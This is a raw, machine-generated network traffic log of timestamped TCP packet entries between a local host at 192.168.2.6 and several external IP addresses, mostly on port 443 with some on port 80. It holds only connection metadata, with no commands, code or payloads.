Nov 17, 2024 10:07:26.811310053 CET	49803	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.811368942 CET	49803	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.811378956 CET	443	49803	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.811388969 CET	49803	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.811393976 CET	443	49803	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.813867092 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.813895941 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.814054012 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.814269066 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.814300060 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.823338985 CET	443	49801	142.250.185.174	192.168.2.6
Nov 17, 2024 10:07:26.830167055 CET	49801	443	192.168.2.6	142.250.185.174
Nov 17, 2024 10:07:26.852313995 CET	443	49804	184.28.90.27	192.168.2.6
Nov 17, 2024 10:07:26.852379084 CET	49804	443	192.168.2.6	184.28.90.27
Nov 17, 2024 10:07:26.854191065 CET	49804	443	192.168.2.6	184.28.90.27
Nov 17, 2024 10:07:26.854196072 CET	443	49804	184.28.90.27	192.168.2.6
Nov 17, 2024 10:07:26.854429960 CET	443	49804	184.28.90.27	192.168.2.6
Nov 17, 2024 10:07:26.908147097 CET	49804	443	192.168.2.6	184.28.90.27
Nov 17, 2024 10:07:26.909184933 CET	49804	443	192.168.2.6	184.28.90.27
Nov 17, 2024 10:07:26.951332092 CET	443	49804	184.28.90.27	192.168.2.6
Nov 17, 2024 10:07:27.067663908 CET	443	49801	142.250.185.174	192.168.2.6
Nov 17, 2024 10:07:27.111385107 CET	49801	443	192.168.2.6	142.250.185.174
Nov 17, 2024 10:07:27.111449957 CET	443	49801	142.250.185.174	192.168.2.6
Nov 17, 2024 10:07:27.112490892 CET	49801	443	192.168.2.6	142.250.185.174
Nov 17, 2024 10:07:27.112632036 CET	443	49801	142.250.185.174	192.168.2.6
Nov 17, 2024 10:07:27.112817049 CET	49801	443	192.168.2.6	142.250.185.174
Nov 17, 2024 10:07:27.131426096 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:27.131691933 CET	49812	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:27.136303902 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:27.136552095 CET	80	49812	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:27.136616945 CET	49812	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:27.137087107 CET	49812	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:27.137108088 CET	49812	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:27.141944885 CET	80	49812	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:27.141974926 CET	80	49812	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:27.152916908 CET	443	49804	184.28.90.27	192.168.2.6
Nov 17, 2024 10:07:27.152991056 CET	443	49804	184.28.90.27	192.168.2.6
Nov 17, 2024 10:07:27.153053999 CET	49804	443	192.168.2.6	184.28.90.27
Nov 17, 2024 10:07:27.153347969 CET	49804	443	192.168.2.6	184.28.90.27
Nov 17, 2024 10:07:27.153361082 CET	443	49804	184.28.90.27	192.168.2.6
Nov 17, 2024 10:07:27.153377056 CET	49804	443	192.168.2.6	184.28.90.27
Nov 17, 2024 10:07:27.153386116 CET	443	49804	184.28.90.27	192.168.2.6
Nov 17, 2024 10:07:27.167942047 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.168821096 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.170579910 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.170602083 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.171737909 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.171746016 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.177928925 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.178014040 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.178642988 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.178659916 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.245157957 CET	49813	443	192.168.2.6	184.28.90.27
Nov 17, 2024 10:07:27.245187044 CET	443	49813	184.28.90.27	192.168.2.6
Nov 17, 2024 10:07:27.245249987 CET	49813	443	192.168.2.6	184.28.90.27
Nov 17, 2024 10:07:27.245891094 CET	49813	443	192.168.2.6	184.28.90.27
Nov 17, 2024 10:07:27.245904922 CET	443	49813	184.28.90.27	192.168.2.6
Nov 17, 2024 10:07:27.277041912 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.277705908 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.277731895 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.278156042 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.278161049 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.299280882 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.299602032 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.299654007 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.299869061 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.299886942 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.299904108 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.299911022 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.303054094 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.303083897 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.303148985 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.303286076 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.303299904 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.307702065 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.307873964 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.307925940 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.308150053 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.308168888 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.308182955 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.308190107 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.310853958 CET	49815	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.310878038 CET	443	49815	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.310934067 CET	49815	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.311064959 CET	49815	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.311083078 CET	443	49815	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.410159111 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.410384893 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.410432100 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.419841051 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.419862986 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.419877052 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.419886112 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.426079988 CET	49816	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.426099062 CET	443	49816	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.426184893 CET	49816	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.426321983 CET	49816	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.426332951 CET	443	49816	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.506840944 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.507324934 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.507332087 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.507849932 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.507854939 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.537655115 CET	49817	443	192.168.2.6	4.175.87.197
Nov 17, 2024 10:07:27.537704945 CET	443	49817	4.175.87.197	192.168.2.6
Nov 17, 2024 10:07:27.537794113 CET	49817	443	192.168.2.6	4.175.87.197
Nov 17, 2024 10:07:27.538873911 CET	49817	443	192.168.2.6	4.175.87.197
Nov 17, 2024 10:07:27.538892984 CET	443	49817	4.175.87.197	192.168.2.6
Nov 17, 2024 10:07:27.545300961 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.545748949 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.545762062 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.546258926 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.546267033 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.635636091 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.635945082 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.635998011 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.636477947 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.636497974 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.636507988 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.636516094 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.639955044 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.639986992 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.640081882 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.640919924 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.640932083 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.675272942 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.675436020 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.675487041 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.681948900 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.681963921 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.681976080 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.681983948 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.686539888 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.686553955 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:27.686609983 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.688741922 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:27.688755035 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.033641100 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.034157991 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.034172058 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.035134077 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.035140038 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.041749001 CET	443	49815	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.042428970 CET	49815	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.042478085 CET	443	49815	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.043128014 CET	49815	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.043135881 CET	443	49815	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.100862026 CET	443	49813	184.28.90.27	192.168.2.6
Nov 17, 2024 10:07:28.103198051 CET	49813	443	192.168.2.6	184.28.90.27
Nov 17, 2024 10:07:28.107707977 CET	49813	443	192.168.2.6	184.28.90.27
Nov 17, 2024 10:07:28.107719898 CET	443	49813	184.28.90.27	192.168.2.6
Nov 17, 2024 10:07:28.108117104 CET	443	49813	184.28.90.27	192.168.2.6
Nov 17, 2024 10:07:28.109390020 CET	49813	443	192.168.2.6	184.28.90.27
Nov 17, 2024 10:07:28.129004002 CET	49821	443	192.168.2.6	142.250.185.174
Nov 17, 2024 10:07:28.129017115 CET	443	49821	142.250.185.174	192.168.2.6
Nov 17, 2024 10:07:28.129117012 CET	49821	443	192.168.2.6	142.250.185.174
Nov 17, 2024 10:07:28.129400969 CET	49821	443	192.168.2.6	142.250.185.174
Nov 17, 2024 10:07:28.129415989 CET	443	49821	142.250.185.174	192.168.2.6
Nov 17, 2024 10:07:28.154057980 CET	443	49816	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.154654026 CET	49816	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.154664040 CET	443	49816	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.155142069 CET	49816	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.155145884 CET	443	49816	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.155330896 CET	443	49813	184.28.90.27	192.168.2.6
Nov 17, 2024 10:07:28.164513111 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.164541006 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.164592028 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.164623022 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.164710045 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.164933920 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.164933920 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.164948940 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.164958954 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.171123981 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.171149015 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.171468973 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.172014952 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.172025919 CET	443	49815	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.172033072 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.172101021 CET	443	49815	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.172348022 CET	49815	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.172518969 CET	49815	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.172518969 CET	49815	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.172563076 CET	443	49815	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.172591925 CET	443	49815	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.180974960 CET	49823	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.181040049 CET	443	49823	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.181253910 CET	49823	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.181253910 CET	49823	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.181337118 CET	443	49823	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.285505056 CET	443	49816	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.285697937 CET	443	49816	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.285835028 CET	49816	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.285835028 CET	49816	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.285852909 CET	49816	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.285857916 CET	443	49816	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.288630009 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.288641930 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.288824081 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.288913965 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.288924932 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.353612900 CET	443	49813	184.28.90.27	192.168.2.6
Nov 17, 2024 10:07:28.353770018 CET	443	49813	184.28.90.27	192.168.2.6
Nov 17, 2024 10:07:28.353980064 CET	49813	443	192.168.2.6	184.28.90.27
Nov 17, 2024 10:07:28.354569912 CET	49813	443	192.168.2.6	184.28.90.27
Nov 17, 2024 10:07:28.354569912 CET	49813	443	192.168.2.6	184.28.90.27
Nov 17, 2024 10:07:28.354593992 CET	443	49813	184.28.90.27	192.168.2.6
Nov 17, 2024 10:07:28.354603052 CET	443	49813	184.28.90.27	192.168.2.6
Nov 17, 2024 10:07:28.389128923 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.389868975 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.389885902 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.390405893 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.390408993 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.428936958 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.431799889 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.431813955 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.432429075 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.432437897 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.520272017 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.520294905 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.520389080 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.520452023 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.520476103 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.520724058 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.520724058 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.520740986 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.520771027 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.523669958 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.523703098 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.524072886 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.524490118 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.524502993 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.541908026 CET	80	49812	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:28.542109013 CET	49812	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:28.559663057 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.559686899 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.559777021 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.559799910 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.559887886 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.560091019 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.560163975 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.560219049 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.569094896 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.569094896 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.569116116 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.569139957 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.575124025 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.575141907 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.575216055 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.576095104 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.576107979 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.618851900 CET	49797	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:28.620110989 CET	49821	443	192.168.2.6	142.250.185.174
Nov 17, 2024 10:07:28.674541950 CET	443	49817	4.175.87.197	192.168.2.6
Nov 17, 2024 10:07:28.674642086 CET	49817	443	192.168.2.6	4.175.87.197
Nov 17, 2024 10:07:28.676702976 CET	49817	443	192.168.2.6	4.175.87.197
Nov 17, 2024 10:07:28.676713943 CET	443	49817	4.175.87.197	192.168.2.6
Nov 17, 2024 10:07:28.677131891 CET	443	49817	4.175.87.197	192.168.2.6
Nov 17, 2024 10:07:28.693207026 CET	49812	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:28.698159933 CET	80	49812	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:28.720586061 CET	49817	443	192.168.2.6	4.175.87.197
Nov 17, 2024 10:07:28.757519960 CET	49817	443	192.168.2.6	4.175.87.197
Nov 17, 2024 10:07:28.799336910 CET	443	49817	4.175.87.197	192.168.2.6
Nov 17, 2024 10:07:28.900866032 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.902014017 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.902014017 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.902030945 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.902050018 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.917529106 CET	443	49823	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.918237925 CET	49823	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.918237925 CET	49823	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:28.918261051 CET	443	49823	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:28.918283939 CET	443	49823	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.112431049 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.113219976 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.113243103 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.117903948 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.117909908 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.120070934 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.120094061 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.120146036 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.120145082 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.120201111 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.120732069 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.120743990 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.120759010 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.120765924 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.124887943 CET	443	49823	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.124964952 CET	443	49823	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.125030994 CET	49823	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.129369974 CET	49829	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.129415035 CET	443	49829	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.129482031 CET	49829	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.129678011 CET	49829	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.129698038 CET	443	49829	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.129921913 CET	49823	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.129942894 CET	443	49823	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.129959106 CET	49823	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.129966021 CET	443	49823	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.140642881 CET	49830	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.140655994 CET	443	49830	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.140826941 CET	49830	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.141011953 CET	49830	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.141021967 CET	443	49830	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.175630093 CET	443	49817	4.175.87.197	192.168.2.6
Nov 17, 2024 10:07:29.175697088 CET	443	49817	4.175.87.197	192.168.2.6
Nov 17, 2024 10:07:29.175718069 CET	443	49817	4.175.87.197	192.168.2.6
Nov 17, 2024 10:07:29.175759077 CET	49817	443	192.168.2.6	4.175.87.197
Nov 17, 2024 10:07:29.175774097 CET	443	49817	4.175.87.197	192.168.2.6
Nov 17, 2024 10:07:29.175786972 CET	49817	443	192.168.2.6	4.175.87.197
Nov 17, 2024 10:07:29.175791025 CET	443	49817	4.175.87.197	192.168.2.6
Nov 17, 2024 10:07:29.175857067 CET	49817	443	192.168.2.6	4.175.87.197
Nov 17, 2024 10:07:29.175867081 CET	443	49817	4.175.87.197	192.168.2.6
Nov 17, 2024 10:07:29.175899029 CET	443	49817	4.175.87.197	192.168.2.6
Nov 17, 2024 10:07:29.176079988 CET	49817	443	192.168.2.6	4.175.87.197
Nov 17, 2024 10:07:29.176095009 CET	443	49817	4.175.87.197	192.168.2.6
Nov 17, 2024 10:07:29.186717033 CET	49817	443	192.168.2.6	4.175.87.197
Nov 17, 2024 10:07:29.186738014 CET	443	49817	4.175.87.197	192.168.2.6
Nov 17, 2024 10:07:29.186754942 CET	49817	443	192.168.2.6	4.175.87.197
Nov 17, 2024 10:07:29.187114954 CET	443	49817	4.175.87.197	192.168.2.6
Nov 17, 2024 10:07:29.187206030 CET	443	49817	4.175.87.197	192.168.2.6
Nov 17, 2024 10:07:29.187402964 CET	49817	443	192.168.2.6	4.175.87.197
Nov 17, 2024 10:07:29.261681080 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.261750937 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.261887074 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.262135983 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.262151003 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.262164116 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.262170076 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.264976025 CET	49831	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.265011072 CET	443	49831	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.265074015 CET	49831	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.265275955 CET	49831	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.265295029 CET	443	49831	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.304138899 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.304728985 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.304760933 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.305241108 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:29.305248976 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:29.308959007 CET	443	49826	13.107.246.45	192.168.2.6
